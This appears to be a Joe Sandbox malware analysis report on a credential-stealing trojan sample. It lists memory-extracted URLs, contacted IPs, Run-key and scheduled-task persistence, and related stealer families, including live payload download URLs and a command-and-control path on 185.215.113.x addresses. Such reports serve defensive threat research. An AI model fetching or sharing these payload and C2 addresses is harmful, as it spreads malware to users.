https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000003.2999634271.00000234EEE0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3329017267.00000234EE970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3007858315.00000234EEE30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3135115359.00000234F0447000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 0000001A.00000002.3233955201.00000234EA526000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 0000001A.00000003.3108417044.00000234F16D9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://content-signature-2.cdn.mozilla.net/	firefox.exe, 0000001A.00000002.3339304289.00000234EF2C8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2020-12/schema/=	firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeeT	file.exe, 00000001.00000003.2381432879.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381347538.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://youtube.com/account?=https://ac	firefox.exe, 0000001D.00000002.3220548395.000001B2BCB80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1_onDisplaySyncURIs/allKnownSender	firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ok.ru/	firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/	firefox.exe, 0000001A.00000002.3332512214.00000234EEC76000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	firefox.exe, 0000001A.00000002.3370312333.00000234EF545000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/	firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/2	firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
http://exslt.org/dates-and-times	firefox.exe, 0000001A.00000002.3233955201.00000234EA561000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exeHP	445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244270499.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244194775.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230876517.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.comXYf	firefox.exe, 0000001A.00000002.3332058969.00000234EEB1A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.com/	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest5	firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001A.00000002.3340551849.00000234EF3E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC003000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.3376721901.00000234EF6DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://shavar.services.mozilla.com/	firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://basket.mozilla.org/subscribe.json	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000001.00000003.2381432879.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381347538.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381837265.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/skin/notification-icons/popup.s	firefox.exe, 0000001A.00000002.3265218357.00000234EB3B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://fb.me/use-check-prop-typesG	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fb.me/react-polyfillsP	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fb.me/react-polyfillsO	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.18.14	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
41.216.183.61	softwarefile.cc	South Africa	40676	AS40676US	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545787
Start date and time:	2024-10-31 01:17:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/30@59/12
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 54.185.230.140, 52.11.191.138, 35.160.212.113
Excluded domains from analysis (whitelisted): www.reddit.com, services.addons.mozilla.org, ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, aus5.mozilla.org, mitmdetection.services.mozilla.com, a19.dscg10.akamai.net, support.mozilla.org, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, redirector.gvt1.com, firefox.settings.services.mozilla.com, push.services.mozilla.com, safebrowsing.googleapis.com, www.youtube.com, normandy-cdn.services.mozilla.com, star-mini.c10r.facebook.com, www.facebook.com, twitter.com, client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, normandy.cdn.mozilla.net, youtube-ui.l.google.com, reddit.map.fastly.net, www.wikipedia.org, location.services.mozilla.com, telemetry-incoming.r53-2.services.mozilla.com
Execution Graph export aborted for target 445877ac99.exe, PID 364 because there are no executed function
Execution Graph export aborted for target FMQRQQBV70LQ52SA3P6LYU.exe, PID 3704 because it is empty
Execution Graph export aborted for target file.exe, PID 1048 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4876 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:18:36	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
01:19:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 445877ac99.exe C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
01:19:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d319b3db9a.exe C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe
01:19:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b0a3006fe7.exe C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe
01:19:52	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002748001\num.exe
01:20:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 445877ac99.exe C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
01:20:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d319b3db9a.exe C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe
01:20:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b0a3006fe7.exe C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe
01:20:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002748001\num.exe
20:18:14	API Interceptor	11x Sleep call for process: file.exe modified
20:19:01	API Interceptor	919516x Sleep call for process: skotes.exe modified
20:19:18	API Interceptor	149x Sleep call for process: 445877ac99.exe modified
20:20:00	API Interceptor	41x Sleep call for process: num.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
ipv4only.arpa	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
prod.ads.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
softwarefile.cc	file.exe	Get hash	malicious	WhiteSnake Stealer	Browse	41.216.183.61

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
CLOUDFLARENETUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	fileDoc_Commission Dept Ec.docx	Get hash	malicious	Unknown	Browse	188.114.96.3
	HLZwUhcJ28.exe	Get hash	malicious	LummaC	Browse	104.21.32.196
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse	104.26.0.231
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://hprus.conegutsud.com.pe/4zgrHK17910PyfC1508dysnmxbczx27005OLWUIBMTRFCEVBH25578NWDJ17331m12#2mzdvgfkgua042eh8kky7aanhr5dggelvb8fjk5yz6jna8o8e5	Get hash	malicious	Phisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	104.26.0.100
	file.exe	Get hash	malicious	Unknown	Browse	104.26.0.100
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
